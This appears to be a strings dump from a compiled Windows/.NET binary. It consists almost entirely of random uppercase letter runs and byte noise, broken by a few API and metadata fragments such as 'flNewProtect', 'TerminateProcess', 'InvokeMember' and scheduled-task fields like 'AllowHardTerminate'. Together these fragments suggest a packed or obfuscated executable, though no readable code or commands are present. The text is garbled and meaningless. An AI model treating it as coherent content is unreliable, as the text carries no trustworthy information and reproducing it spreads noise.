ULRNPN
FINNDRBUC
KCZFXR
YNGSMSDBNJBC
SMKOTY
KIVMSIVRKSLK
& 7B
YXUBDPNPTUYC
EWVBVXJWX
Cs439
Cs43>
JDCFPC
Cs43"
}XO_PSR
TVPUTEEHNM
-X$:
ITRWCVADSHX
PTJSHP
}YZ_P
POOJH
NMBRWYEFNJYF
ZOGZUROTQNIV
UNDUTUAMQRJU
EWZBWG
BQYPFEJISVYI
SBUYQKCYG
LTDAQPMOE
^@QTJRYOVRK
f!T+
KHTCEKYWXRC
IBETVRDNFPU
VDMPO
KAUQLWKPIIT
LIJIMDHH
PNOEUSYBK
DADEDU
CAQNOUFOFP
$`BA
ALAESEJO
D$Q+
cQLR
*T'
MMRYQNCDMMC
TZBWGKEBGBPU
FOVFOG
MBTCUNXVVMI
YUVDBILJBDYF
CUZYOIOROKPU
VOIHWBVIR
D$Q(
KLVCDA
CEBSIYFZ
H @v
QVJGXZ
QECQUL
YQEUEX
CXVAABQEYAL
VTPHGL
WBVJJU
UYXAVAAL
OPWSDJHZ
~ygA7doOa<pAZ`
ZQVUZK
D$4B!
RMPLS
VSABCQJRCJN
PUWSQ
VKBCHOGFWCH
DTFHB
PITPGCAGOPU
VBBVG
ABMGPIZBBZ
CQPTEJKDSXME
UPNMZB
CZLLPPYMN
da&Eafvw7,YlqjndInfo
XRYZVHDOBC
BBLIW
MWAOKZYJTQLC
QZQXTN
DGBMUSQDOGW
IFYGTRWTPA
|E\W
BQBEMWLHW
TDSFQUDKSBW
KRDPSFLCJY
X)(!
AUWLTKLU
XLVUCWNBTDEC
T*,F
GCXGLRNNM
~Q A[WOODYD
AQBDA
DJFCGP
MMLUEAMOPE
GWHZAUNAF
KDRIZJDJFIV
AOYEEELZYPYU
RJKXLGRWPS
SIRWZWV
EMIDSC
JVZQYK
SVHDYSKTSEHL
AAQIYXCDL
DGEGGDTKSBHB
TNQSYHGF
XZIWM
HKWSJDBSHG
WINDIR
ATKACEDDC
OHJMFB
CWWSXQZHFDEW
YPAETYBP
ODYNLCJDMKGH
HMGVQKXNDS
ELDZJVVFYUH
RXNLMDJQKH
XINPM
AVFZESESLGMT
SPFTHTXJKQ
QBRJPMBHMJZE
VFCFFMVPKG
CNFSCB
RIOSOPNFRL
JJEIV
ZOUBAOJ
MethodB5Qp Mo8CsKdqd
GQACU
GZXYVCGEVRHG
AVFGWY
BJHKNARH
STCDOV
D$4!
EBGPYZF
FJOTOYZJRUX
KXNFUJGBIHJ
LHGKE
VDAGZBQVWK
GHBYAH
BJA c@ABK o@ UVETKADVVET
D$ W+
SMSHLMAVUYYU
OXXHQNKKY
XMMUOPUQU
JNIFOI
JAQNJVBKWFY
.text
YKIYBOK
WJWCTNGWW
QAQTOYTB
MEXFWK
KPNLOZ
~AJS
ZUKDRSBNPN
DCGADHNZKZIV
YGALVILHLALF
QTHPHDWGIKES
GetObject
PHKRKIPIHU
GSJMOECLC
FLMQUCIIKFEU
QDCLI
WLOEFGD
IMDAPTWEEFA
REZGIT
QQNQJUNFWFX
QQPQDEPA
ZNBXQR
KQBVKG
EGZGEOTC
NBFMJZTCSWZ
adva=D%:*fml
MDUZF
MXJBIHPE
NIJGOA
D$Y.
D$Y,
& RJ
EdtSystemMetricsU'K CguWind*[Bo|v@
YUARKWWETNM
XAYQGGMINDBG
TXWYUJLODFQA
DKOFI
GKZPWUAZZMF
JXWREDJDRCCP
IRCANAPILE
TKLTKZP
ZXPTVGRUFRR
XUMPKGXVEUI
GMGABPLJAX
GQDRWZOGAKY
q^E@
WKQULE
WMANAH
JHPAJF
KYMECLWKOA
YNPLHBYRJNNE
HGXYFQENL
NFXADY
MCLDNBQP
JKSTSEMZLGBH
OVWPLXKR
DOGSCQCR
N$[lU7dzCQ+
Dm# ID
JAVNAGCEM
ESFTPAG
JTZCNICSVA
WSNCRMYHYTJ
@HXEEZQYPNQ
B\:#
FQYSMUMYZ
LDJGBYFV
VJGZIEJKISYP
PIYGRMSC
s_XUCJA
NJLQPIZWDTCK
SDCNOPBJOKMM
VBCUBB
GNOQCMMVQX
BFUROV
l$Xf
JPFIOCJOERZB
INPWWA
DSBGBFVU
&GHFSWC
GFWUKXWSMU
AYMQQAXCZIO
NDGHTBBSLDXW
UJQJQNOHMC
QQHJAZGFRA
YSPSJKP
TBRPVCE
QNVSGY
DPPQAWMZB
WFULON
NFABJWEFFNP
&rq7
XQPOKBEJSXTP
ABSJGTXU
& (=
&rq3
YPBQJBEABCOW
JFEBHSVPGFNR
AOCBKEPNHUW
SHIPVK
CBPHBU
&rq<
YHVMEXWQKSRU
BYHYOZNRQKF
JZANGIFYPRM
ACYEOOIJQINU
ZYIATDTBQHL
&rq%
NHMSMPXCEEL
XJROMNLTGKN
& ()
MIXQH
& ('
& ($
XPLSGHKYLWW
CHLLOF
&rq*
LIJGFA
& (^
FOZOEQ
& (\
&rqT
KSJBKWZNDF
FQSLZAFI
XUUWWFAPBLD
NHGVUXSUXKW
h.I,
&rq\
&rq[
UHCVOATPDNG
BIYWORSW
VGDPSK
*_ pw
&rqC
#%4,r!
aFNLV@
NIHNXFITTFID
&rqM
N 0 >
FRCZCYRVZFDR
BTUWPTYFPHON
RUXWBCHFQNN
FRUMIVC
JBMJBEHHYM
OTMOZVS
WYKDPFWHSJUS
HLYBRGNF
YXWKDTY
& (r
HCZGPM
PTMNZEAMOA
YURCRJORTAL
UPNZHMWZL
EFCYYCGLUOYO
ITZQLC
YVVZADBNJOD
rBZA
QUCQTT
JSZLDLGITYLT
Cr0Npx
OBMRVDW
PMTNMS
BRMOGA
& (a
NYVDIP
&!8r
MQIFCMPWLZ
$qUA
MZKEBCQTOYWN
PSXHWPW
FJIUYHK
WJJOVDJ
RQXHVIIOGIWC
MSBMVFG
LMQIUDSG
FXGFFDRXKPMR
TWVADQLCIVRI
KCLMGFQRO
FOWGHR
Fi/
flNewProtect
FGORU
ZGAOPIIXIXCD
UITTMMC
TZBZYTOMNJLN
FJSOPD
MPAIWTOFTNJA
JICHOGMGI
LWTUKN
GBCBTYZKLMM
SCDVPPRWES
YXANTNW
VRRLWCVDMF
PHPXPSHDNBOX
MFPWXKDEQQV
BQOQFNFVRHCH
Xzo[hG
DOCTNNSAVTU
|$TC
VOQECFWT
LBMXXSSCOUYA
ZJUSGWSJQ
XLJJTOSGS
YTYGTGDLDZZN
( ``
XZDBCYKMT
tZYVG p
UAELEQPVRKTE
SWRYUHZABTJY
TDYAH
LYRWNHLON
'\XUL
{ZCERVLZD
UJGVQWWNFMCX
LTPDUR
TFQLTPOVVXGH
iVYI
EWVDW
TENMAQHBO
VBTGBJKHWGKR
WISKMLBD
ARIMYYQKT
DASDVILE
TVTPJDGSUXHP
KKMKXX
MUMPKBFBI
OHFUSU
U +
TMCOMXFQQVC
THQLCNKMQKZM
YQFUWHQLVLY
UOCQX
WXSRUTHTMPQ
CPEERGHWQBS
YCCKDGQWDE
UGKLFF
OUQKM
kwqMibrary1.Properties
XPTTAYJWAP
PRWSBTOH
NYRHDP
CNPFJX
OYEWAV
LKZWPY
LTLMYTDYLXX
KHOIZCCYFDRC
YXBDOC
CPPSULXWIQ
FLAJVFPK
BYGLABOGSMP
TTEVGP
KHZEUKAMPEO
CXVEJNUIKZI
FNMIVJ
BGKWV
&r9o
SYYSLIBPOQJL
LPCYJDRKZKQ
ZHLFT
RUBUNK
ADNSKBEWNTUW
SDUDFZXRP
LHVXMUM
VSGXEJ
WATRYO
QBDHOIY
3QW'
URNZOHNY
NHDUJLI
XAVSTLYDDV
GOTNCXGREZAS
Y!P k
MYOAGLMJ
*QHBRCOXBV
NDRONO
RXZUWRMHRLO
AZKTSP
HBJIYXSKA
URXKKFVJSRO
WHTBKSU
CLYULJYIOAF
DMQUPI
&r9J
X"8h42g4R3
MJQNSD
QTXDGZPMTLTQ
&r9E
UEWDNDBYWLY
NZHEVNFLY
A9F`{Ikcrary1
MZMGJH
UDUXCUORKVM
RMBIZDMVG
MWWNCDCTSH
QSUBCOKAY
PTEECXSUYWO
JFXJWW
HJEPVJ
PAWDDMRXVM
DWXUCWD
& P7
SNGHBZ
XLHTWH
VIAJSPBCNHX
&r9(
KPECRQGCDWEX
SOMHFQ
TWIDMJDHLYY
XLIJRWMIWMYB
&r9#
uV MP
LGJPQPDUOFMZ
PYVUAVIBWTA
xlF
D$F/
1@B!
OOAYKYAFLF
&r9;
&r99
XSQLIOHVYKM
OUMTDC
HOZZHJ
D$F"
VGMVOG
OKESFAKRXLWA
ENCLGWIWVDON
OLIXHI
URLGIS
&r9
, (
QWXI
WBGINUUFJ
JRLMLS
QTKAY
GCLHXS
JEEVXR
'?X'
Q._bli,Bollections.Generic
XXDNHK
NGEXPTFADSY
JKYKRAXCZFJO
PCOMARZFZAB
IATGTV
LGFTFSJSM
TOWBVL
p FG
BDTWWHVEWYYO
IMUD
WHERBAUDSWIL
zbezb
IWISEF
UIIRUNCLTHPI
ALPXDEQUY
;U$ t
AXKDMB
HFNHJK
JSPPKHV
FNIQHUQUWAKV
DQUOEW
BKTJMONKTF
JQUXKREYJZFX
OJHCRREMO
ZARUAWAHNMl^FKXHYIFQHM
zAHV
YQRKJJKLRKOK
BLIDEXSPEJTS
p Fc
get_Assembly
KYLAKXOJP
EWVCOPDGG
ABMHHJ
HCOVSJXZ
BBPCTSI
VZTZNKRRVPZB
SMEGPLKJ
jWDJ
KFDJVB
p Fs
FVTHZL
TDHWFAH
CLGDURIMKNJ
DBAFJCVMVYZ
MKTQTVIREVH
TTAIDCKQ
JDVNQN
67i4cHXy27es
& q
ZREFLYLLATTR
DkNr
WEHWTBWJAB
DHVKKDKIVR
IOCAUDGJBYQ
AHKUXHHYVLK
GXPOQITZK
DBPDJXNYDPWP
&ryb
DVQRRUKHEVG
VGHXERZARHB
& f
NUOFBAMRUQQA
LALXMWIU
PHGDACPAMQD
+B\@PX_INFORMATION
SECYQIZTV
TUCBZHYGVMS
]LCSFYJDRCJ
XGVLAOPPGDP
TPPBEERTAYVP
& V
& Q
ZQMJUQ
RPIWXUJDTL
WFPTJJDESG
& \
p F,
V i A
Q/ "
RFVFI
EFXVIEPWIJ
GYUBXRXPC
HXNLGHGWCI
MNNWJQQAHPB
(V '
AVLFERRXZ
ECEKE
mJ]JKJ
MT_qUDrj\F4
YXEZUAOEN
YTYQKKOB
u@BJKNwYJSXKOI
BFSDTLXTQJQ
IPCNB
WGYEM
NGTANAUG
YJGJHLJAFKJN
TRNXUJEO
D$A*[I
AXYJEZKCIP
CIYNNJW
BTXUBF
XVADLS
KDCEHAMTIW
]`plinateProcess
KCGCNUI
^`nBp AZikfme
LSTMHV
RJTCAJTX
HXHMDZQ
' '
z\LUTHbMOKQPGMTMRV
YSQVYCMAPFW
JLWHGNYWG
GDLFMAWFCD
OFZELZMHOHW
HVYTYL
$C|T
CPPRVC
GMJHVYNCNBR
EMNGHS
WMIFPUJROOB
HDTDXE
WEZXPBHDON
a`p<S[ikfmes
InvokeMembe&'GgVvsing
XZMFIZKZF
RCTWRBRVMVNK
FEPXZUQV
DFCAJPQBZIR
NMVSXEID
p ;<
USIBJS
ZAJUXNSMFILV
YRXPBQ
ZULGXFFB
WJAMOEAGMBYW
VEQFKXTXSWY
EXSMNINUPRW
QOGBJQMHA
XOWMJTVCAKPK
p ;L
VUIDAFRTHPY
SPYPAANRZTCW
NWMERVLLKRWK
BFLNBYIXWG
SLXLKI
RVXLPYBLSQF
IZTOLH
p ;V
X,BZ
PEGMOS
BNQBQZ
TYNDT
IJVLUPJRLUQ
_ fI
WJWBVTLUT
[ {'
OWNJOVZQNSH
UZTWWEHS
BOUSQHN
HHKXCK
CEOFA
DNHPNFYMWWSO
PCJAWSHVISJ
NPTCHMOSNKD
p ;n
ROEXEDQACSP
HHNFSSMTB
YTAMADCGBATG
BBUNY
ULGTMBU
qCQ\X`bcde#M}`nimmnopqrstuvwxyzr
TUHBCJ
HFMSIZUX
BJUZBOYUC
MGTVZH
TTGPVKIJY
MJBMHGPI
NDPJSK
PISRPYRBV
WCDDELPDOZBO
RLPXTIDNXG
DYDWBMBLYPL
QRTRSIGV
System
TIIJIQKSMZAR
PGNBGDCIVPT
D$0I'
JUQQRVDWY
UUYHLUZK
'l>'/2d
WFHSFRHJU
EUHDZ
&*f g
AYRDV
&BM_HR
UNAWJX
AZCRQKS
&ry^
DJEAWK
,s c
TXEORM
/w'r
TLHCQNSF
LGQAKAKLIU
DOIRYTCKA
DBOQEYIWMV
GCKRICF
ZRVIOW
SEYUPEOHJH
oA WPPOJ
$6\6Zt
WRWCNKOTAGU
\0X'
UIPJDILICO
Syste$
K@DSTB
GUXYVFILA
QWMOLPX
TPTWNTOSFL
ZTIHKDTEBBTK
OIOMCHERAR
PQEYDY
NlkVYC5dDRSXR454CilLtG0Q
ZEMORPDAR
IOWSOU
YPKTHRAZYY
IDCFMVPTZEPF
GetAttributesI
GGQEZPKNA
VMBSSA
RWORZKMFRHLI
NZMRNPUPWYNU
Syste?
RKPIOCCGRQT
AKLMQXWXKYHD
|U WUNCNJKWUCVD
BIYRVBAPKVO
QWRXPH
ANLZPURXV
EMDNUFIZO
JUNEXM
JBDZNI
XFTGFDMOSVY
MJQZOWJQ
DJPQPGIFNDWB
SPUXDLQANVXN
WNJOHS
PXHDLBX
PSOCHGUJYWOR
D$~,
YFNOBNPOIDD
C'9aQ
TXRWTQELVSSR
SXRXCEP
JKCVR
BGSRFUEMOLLN
MIVZRXORFDE
PCSJHFQW
FELHNQTPR
IAMIWMFQIEI
PPGEKCJZRC
OPAETL
MBIZBQLAXXQP
LQWYYUTLVJB
TDRANOAOWJHR
EKVOYSBXLVXO
VKRDW
LOLLAHDL
DPHKIZQFQF
YDIQMYWH
gFA_
DFVNLKBNEEW
JLHTTMYJ
EAAKMBRFRZYB
ZEOBCOEUI
VBRXRW
RJEMFUTP
p cC
$D[QM
HMFDXN
CUPWQ
SGRUSUYLS
SCHNWI
XCQBIXA
WXBBRGZRRJ
VEJVAM
SYNCHS
TNHZUR
8 N)
RVPDCJR
XCGKOTUIZAY
PLMQJCKZVPV
MIUQLK
ICHDNYBEWI
VWPLWL
TPHZDVDEBZ
XGVTEA
HWKON
BKQIQDJXGHLB
IMQBTJDI
#n*'e %.2d:%.2d:%.2<z
& 5I
HTMIUH
RWFMQX
USGZVQLZHOJD
& 5B
Un.Iy}k
LUYVSKA
MSARNW
LWLEAHXZYFF
MSCGWDFAURX
MZPCUGEXKSPZ
WICPKBFUL
& 5Z
KHULIIPIUDKZ
OZOVLIJDJLB
KDIIL
p c<
YRWGMJ
VKSPVW
NHOJQJKFL
LBKMQJXLPH
M`ldricSecurityDescript,S
& 5e
MBWNYJAYULE
GRDJSAXUPJT
XNSQMYPG
MFJEFB
NTFFSYJTY
QIZRUQJGCHS
ACBJGX
UEWPIW
ZOCTXP
p c!
KNCQVENPFCGC
IMAGE_DATA_DIREC
MAJUDJ
ZVWNHYNAVNI
nZOJZJIN
QDHFECFSF
MKNCKS
S^DKURTGN
IVLZEUQQB
l <p
CFIBTT
JUZKQA
VRQSUC
LMVGUN
QYJBJWVTHMLT
KJMKF
TZEDNLAE
KQNFA
#7@Qhq\1@NW?^nlL^^bpdg1
VMLQVS
PCPHJRJP
KKZLPN
ZYFRDHINVDUV
YMCCNF
ORBOH
VNGNFC
$T_AUNITESWFY
DBBRZMUSPZFE
NAAEA
GDFPVCJ
YSBRV
RLSSPT
EUSEKQAISOH
OvLkwlKeyE-h
RITKRLLAYKYK
FDACVUEYJC
g q
GCLJWM
OHHJCQWXEEYN
VUBXXK
HSGQANHG
TCBCGVZP
PSNHLC
EDIBSVTUYWLK
NACGUOBKUZK
VOWGFZANOF
EPCRGV
CQJPHLKFSNWE
VIVWLZOVPMQN
JFKPBVJN
GPUFZB
ZAATKVTLPAJP
CTXNBA
WDZCEV
*1WS'>
ToUI'X 9
MLACEQIZNLCL
YHQITN
OFOFQ
NISARJ
ZWKICIV
XLNVUSVLVZYR
EJZCFD
SPTMUOVEXDAE
RLTVTSSWAXY
UXYGZUK
YRKURBWVZQ
eP\AUC
}%d/
IEFBLI
GBWYIULXOR
LDTFTX
NQAKCS
EQAXVUDFNC
RMXQQLTXLWH
ZDFA bVCDOIW
S[]\
YOOCFYTXVS
AUEWBYESY
URHBWAXQRN
CCKUND
W"t)
ZZZUUI
WCXTUQRRFRW
FUFZC
DTKKWJGLQUOW
PTTKUFZY
gBHTXR
TVXTJV
AWFUPPUXHG
UWFESE
H&O'
GBDGBF
LTIRUVYKJSN
CQORML ,RDOZ
MEHJGQNLT
& }a
& }`
WQXPNXLNB
PCSYWTZD
ZRDYIY
LUYZES
WGNPGNJM
M <p
SURUXF
DLHLWTZPARR
QOYVKQ
TKLWMUSFPK
RTVHCIJPMM
IIPZRBUTCWTR
AddressOfEntr:|}bjvWb|iwqdsRoot
XMINMB
RYRKUOBBFRFG
CEGHV
YUOUXV
CEZLFI
QWIPLTAMNHSC
ARTNHVPJOYN
FPNOWUGVVP
q pi
MVFCQJZNV
SFJXFGPTK
& }T
MTXCUO
WCKDGXQFQTMM
SIEQAINR
ECZVAEOZSJJNsDIPH
RTKWV
KHDZIL
&r]f
GBOPAQ
CGOCEEWWD
BCYXHC
OGXRWFALR
JBQECEFG
ZGDCJTLF
AKUVQJ
VLAVARTEIFBS
ZFLVABHY
LUPDWSSHIJ
IMNGNVM
WIVDFTIR
QGFHRHQE
ICBWPEOELHB
&n0P2YW0d|rq_Ul2iG3G3y.Sii
HQKQCLGJY
HLFBSL
%2@&Qr
BXZSGIBERLEW
& }:
ZEQQSXUPKDJ
NTAFCWXTP
gB]jke\PI0
LXIDRA
HOZJTR
QYQAJUZRLQE
XRPKPS
PWEOABVJZTU
JZRKMWUNJRIX
SHQEOSSCTGCI
YAVTNV
DUUWFWSGX
QNUAYBLNKQPX
IJTBW
IYLOEZ
SVJGNX
SVFODKBTAO
SCFBVMP
oA^S
JIXLKLQ
vXILNR
FBULMW
YEJDICALRGXB
SQDFYKYRCRCG
YGXVKBQMPLQW
ZKZOCMBPMZUF
AQTOFMTCWUH
k\[T[O}@FRAYQY
RDCTCDPATQ
ZRKPVX
JTTYLPORZB
JUPVEXZ
DOPTJOCOUL
XAYAVTKSWKVM
FWIGOE
MEGCVO
yZOI@
PiWyCB i675dR4Rn...
-U@CSJP
PHJBIWPPFTSO
FQZEDEDLBL
i@OUGC
CAVDOU
KZAJMKLGNBIX
HYVQJATQLSCM
HMEJGKZMPC
XNHTKKJVCLL
YRKJMOJYBADO
9+} Y
FNXYBPCUIQ
UAUMMSCKPT
JXZARXUMLNC
VTNUVWUEU
STBKJS
BMPGJDHTI
D_4Qi Vp`attionTimeLimit> t
BXZLYA
QIJRK
CDWBGGDSVNH
LFBUPNERT
XBHKNL
LMADMTDSQ
JXYEPJFDKBFF
OGRZXKAUBPTU
bX^JN
MTVPQAEBCXE
DLCNNNORNP
&rs
PUCWKOAVEWKI
IDGNUJUGB
&rs_
EKHBNWTDK
&rsY
VMOQJLA
&rsZ
YWHQYLAWGHV
GZSHZVX
&rsV
GMWBU
&rsS
JFDOZJPBKICS
KLDMPJQTMRCQ
&rsL
@#O$
PPNFPOHOQRB
GNHJUVFAUVI
&rsG
LYXMAHZIZAO
ADMVA
YRTAZSRLZEL
02 phqc
PUNXOG
PNXKST
VWOQKHEQTDAZ
VQQPM
UHUJKNNOYE
nqldw5U
&rsm
ESVBBCEYDTBO
C!~e
CFEKWOPDV
IZPSK
A&5<
LCTSEFUF
KGIHVOMOYY
GYLIWVTPPALL
HHZXM
CVHFL
&rs`
URBAOMXVWKXX
NWZRISEWWXYX
PQMJEYIMXJ
VSBRRLIW
UQYEMYU
CUDBUAXATI
EKBOTCBARHQX
HRIIUPXZPFW
WPUWQFNQRVXA
LNAWZIUWGY
VRZRCBEUBMAL
IMEBN
RTKUUAR
LWOMKAO
BGCVYE
FJJRXJCYCLP
MUPZPNFMR
RJ bRG
LNJLMETKXKJA
BQURKVABHGG
KJCXA
UTDBPUJXVUNL
XGHIVZ
IKOCFP
VFITFGKBT
lSystem.Reso;[pow,SesourceReader, mscorlib,
CRKLJD
JPHTQXH
NTPYSI
YGMQAU
yAYIZXUS
QMUSIL
LIBWLVVXSQU
TPFGTESF
UsyMfk}DX@PHD]</UserId> j`ynkl
ZSFHRIZSSQG
HLUABWB
UZHAQNNMOKV
LBECSC
IACQGRK
VYHUYFRCO
RCFCDWSQ
FLKRISZYVXJ
GetEnumeratorV
BNSDZDIYDOT
YZRFSXB
YRYPOEROCGSH
LEWEUW
VTHCPKAAPKF
YCAYDFXR
BKBNUSKN
DHBHQU
CDYWCZ
LIYXR
LEZBRJCZMK
CFYBGFW
XROHFYOVGIR
Fhspose
RPXSGCPFJ
NXFEWRATVODA
TVZLRH
RAQOYOYCLRXG
lAIPUYCBS
AUFRXIYCJ
FTPJZWUWWIQ
VWBEEP
q@DQ
AYCMRWZB
IKFYP
CIDQPQFXDKUI
0.0.1.7
rCR-
ODHPIAGBJ
XFYYPSRIKMO
ZCORSD
KEGQFH
RDQXK
=2y&1
YVERBRCMY
SCFLRGRVI
GetEntryAssembly
FOPZXWAZG
KNYDZS
JPOTQHLCU
UQVBK
IYCNZBQEBX
CERIGQ
VHESCO
KYLRQXWWG
AGVCILBCHU
GBZQQS
PBZCWREZOFIZ
TRLY
m Ti
&r;d
JYMMLFMOVNGP
QNQPMD
UXYGNHD
HNIZAOWAM
GSCXBT
&r;i
&r;h
&r;k
[ (@
VJYZEPHVDZZZ
TYVOWHILSAB
'VnqAnmman+hyeaC
PFXXXMBISICZ
HZDLRQJLUMY
QTHFT
RJVEG
CEIJQLIJEYEG
KVIDLR
XSVVYQPPBV
LVEZQHICLFYL
MHTPTKKMNYLB
ZSZEMESVVXWT
ETAWMVVYWLV
MDBTZJR
&r;N
GXCDFC
&r;5
XHYKDELOFC
&r;7
TUPDDPJGGLS
OJBLTSTZUHZ
& ^:
MAWCRJXTKAXX
F`0?
EAKTCHHVZPPT
& <-
RSGLBPT
XOZANV
QZIMZLVSRWDV
&r;$
&r;'
q[]JPO
XVACXWE
HBPSLU
ODGDSJKXFMJ
EQZKPSGQLS
&r;.
FJXZOOCYIOOE
DLJOCWQIMQ
ZUMTESEAKAW
BDLCEIRJAJCN
Fofwsity.Permissions.SecurityP?X|`vqhonAttribute, mscorlib, Ve<Xygj?3.0.0.0, Culture=neutral,
OPCDXBDE
WUEUGITZ
BVTMJX
SBFQTO
OFFGXJRU
YBLUQH
&r].
CBAIEL
GEGXJPGCMZCH
JOBCHDJNEC
BYWYWMIC
U"+
& ^
KOAMFDIISN
HVLJLVHONAN
PATYJBGGVWCJ
NZMGNVDIWT
VHQBZXMJNDMS
,UNFPELMLXZX
nT_SP
IAGYGG
WQXKFN
BBDQXK
NTQDNS
RBNILXAUICYD
OWZKFBRGR
NIWPMRCTPQ
TKFEZW
KQLJUQAFNI
& <
VXPZU
XWEOUH
& !
VLKIYIZV
OENGFDYLOR
CPIQW
jSC@@
VDEGAJ
HUXSUF
MOJSCWBIOA
& ,
p Hn
WOYCVHTEYHN
EHBMESEVEGGE
ZTNYKA
PVSJAIATJQV
ILDFDGVDX
VVGRTSSGM
,NX27Bii al
FSPGAWZRWE
X Qp
U'|(
VBLODGXTRYCS
GKMFCHT
DYUZZ
SJZMAU
FRBWGUQMYFXG
WUOLAEKUUQR
Jnst: gY3
h\EF
tx47
*$"!<AllowHardTerminate{Awfvgr TdimvHardTerminate> b
p Hr
RLKAIC
VHHOIJCKNAXU
PBLOJUGVDUY
& w
BNOCCT
JKENURWBVQEF
WFIZB
m\KQR
RWECIC
'r\%s
IHBBR
FARPFT
ANAOWVRNA
TSVTYHKC
N^PLJD
HAJPLL
UHYAR
RJUNOI
ZZJODW
WOESEV
AHTQGXVWBBZ
CPLYTKSRYBC
& o
APYGQP
FNCZPPSMDFJE
uc`iPFsj\ajMPrX9qXTL\
&lVA
L ^sBV]
WXPDR
AGUFBB
KISAGB
RXYXUPMPUQBU
YCOBHXNMKT
AssemblyCompanyAttribute
VKOHOR
OKHAIG
ZYDWDLEDBACT
OWEPRU
KGVKAR
9HGGp_0ddMiW5OnXEuOHQ5SW5u
KUUDLF
e=1e
F%$1
DNNSDLLTFJMX
~\D\
UYUWOGPTKMMQ
JVVQDBQO
VLRTHWPHYRFL
)5 ,
LTYGDSYZ
ZGPUIHENWTA
KERJUIBFMC
UEMIZMNAT
MWJITOVKMGDY
ALKXKVNVIC
DPHXJTWMURVO
UUu5
Ge,bfxvgotThr1CqC`
PXYIUD
SOQZNF
JOGWKPNQLGM
SCPWHBSNPEKJ
MKGSNOQDVSW
STKAHIUYIWM
FIFSSENJRC
HRIIBVWHOGOB
ZRKLUS
`[ EHLRCKVOLLG
DHJRB
DOZQS
OPLFNT
UALAAO
TBOLEA
ZAYFCYYIGRJ
[jRS]
CUVYRPNEVGK
VSCYIW
MEOPEEOH
UVJLHW
p =C
YMTCCW
YAWCUMMPI
IFZWNY
PMODUAXXX
VVDYUUIKX
OHMJIOH
EBENQPDFYA
IXKVGGVPAG
EYPNAMUCOEKT
D$D[m7
p =Q
IQQAXA
JMZFCEDXQDV
NFLPAO
CJGDDDPYEEK
TOMTKC
QKSVSN
QUEXXU
SBYDDI
d$X$
HSAO r
FUNZCE
CADRCXQIKPJ
QWJPEQG
OEOXDNZYRUNO
WASYTXP
EENKFN
SCAEQDBAWDC
SVPJAF
XGBEZITP
FDPPBV
BZODGOVOTSW
UHRKJ
JWMUNXQ
XAKLMS
RXVSPQPPHL
OZLBXQV
JXCTQOEXKMEW
KYRALVAPC
COJHHPOFLD
&F% ;D$
MKEDOAGPVRHO
UMXREQVHMY
UBUZERHGV
YEQUNLQJOX
XGNIKT
|"@RV7J
DDMIIH
DLPGAA
GAQIHBFTEUZ
TCCNBA
KYTELVHEGARY
MEIRSFMPLRHH
LXRYZYNNN
ANCBSEHHDNC
CURVYQPDMASZ
a'Dubvgf
MYBVMPMAJAWR
BKWBNZRJBSN
NEAHGTPCKPWC
IXDKDNWRVLP
XSWNIMEY
B&}b
OKNISX
TYWKI
IYLZUDDWIBP
RDNAZT
SWDEXCTP
TEGDGTPUUNU
6W8m{dZK,Rii
IZAXAU
HJNDYKKBFX
NTWPILWDV
,s j
GetFolderPath
PDRYJMR
OJJLLP
HNWUYQ
GIOHKL
SWRUB
HQATQKXEOOAL
LRCZGJWDR
ZWHADQHDZPGM
AVKFUJHLMOK
rZ_KORL
K^4f205i6QssW053iG3
cY]MGKQE
MEVSBSN
EWOECO
MGNVKUYCOE
WBXSMQ
f]\KRN
'X@FXDX
MAIOTLRNZCU
QYLHAFLA
PZ]\
YBNHYMGWZQ
FBTCUET
BTXZOB
GNQYVHNDUJ
JSINLJQWUNJU
GJHJJTBYGSSJ
NEVDMSDWFYFG
ZSFGY
yOR
YGKSXQ
KUORFKYNJ
YNMICOELYO
l2o}|mp;Dxojv
APYJJV
QLNJBOQD
TMJIGD
XIRPTKEAWCTA
DUCGHW
GAZCJRQMKAZ
NPPMLA
LRGUD
cESBL
ToArr#X
QLBFBIHIJ
LDXKM
QHGDVVBMCYZ
NONDHVNVDL
HUOY
Invoke
RQGUHJXJAHKT
WOFDNR
CVHVFWFVZGUN
E Q;%S
%s /. 6/v
BDWNTYFQSJJ
BMPDLNXMVA
WHKGFMQGF
BIYUKC
KCQBSB
YPIQUWDAUGPQ
DKXKKWQ
XCFROR
& m
NCVMSQOAONKZ
HDIDEL
DTYIKHG
SXIMZJBXXFV
EEFTDCMOSU
nKOFUISSEP
QBMMRRUZVWZJ
SHOOYS
D$K<
CXREUOHLPOVK
AMIE
QJSOLIYIRW
*R9?
X *6cW':
SVEGV
SNQTJDLI
TMUTQBIZTMFY
EESDFPWJFR
LHKMJW
MYRKIPQO
KIWBQQ
MTBXISW
ZYMKIROHI
HSIENX
PYNIMXHHAJJH
PJFONJZJCRYA
FBJWZFAMV
ITVPVGWK
MXIZQP
ZFWMVE
GHYUOZDDHZTJ
BCCFFC
JDGYSWZZOGB
ENRQWMYMPZNL
OCMMIHPHTMNF
WVRYNCUT
p e4
BEVCPCHR
KJPUOQ
BLAVWP
& 3~
JOWJYAQL
UPFXWBFYWTW
[%>p6%$Y$.2d/%.2d/%d %.`N//+0e:%.2<q
n7Y5
nC^QTVXYZcdefghijstu?Vnp
LVZNDOQXRRB
OFDHWNHAOMU
ZGJKUMTLMI
GSSWOVJBNH
GPHEVQILSRW
EDEPOCRFHBJ
BKKDWFCMRC
DLMGZPQEHHN
MIRZVVWZJNAE
TOVVZMTS
carul
YADDCX
TYQHRIG
FFATDUQUANCP
EBNNKZCYCMDC
Z^_]
GIWOGW
KLYAUURQTHN
LLKXZVEFCJV
ATDEGHWPOVDC
MWEIFMGK
DKKWKT
DEWYZMVCWHOU
DRACJRKWPAR
SQQBXDISKGN
ERAIZG
GFFKAFLCSP
QHDUHQZ
AOOSJQ
IGLBNP
CXBPMGILJMSZ
TPUZS
ESULLEKJVPWL
CNUDXYMKKGWG
AGLLYC
MQRNMFACEYW
MJPTCH
vU]TF
OFRDMZHXNU
AYZDGYNNTEBJ
RDXRTOHEKV
RPDSPNR
GXFWWG
JODQKCSKZ
HVLGWJPJMQG
XWXJUSODGYMQ
PPIMOM
ZCTRZRWHVG
LDFZSJ
FDWMBCVYQYE
XWBIITEJBH
UTCABP
ZTYTICT
KHIPRJYXA
SET_INFO
XFMVCJUKHBL
EFUOUM
KBQVIRSNZ
WZDRDTQXAHH
PGBPAEXPF
YZJMWJ
XUXDLQHIPC
CSYVWHWB
DMVTSW
MTYXQFZW
PQHKQAUKQFWW
PNSCZWDHZ
HQUTLVOTVKS
NHZIMDKTTSPC
WTQZEUUSSHZI
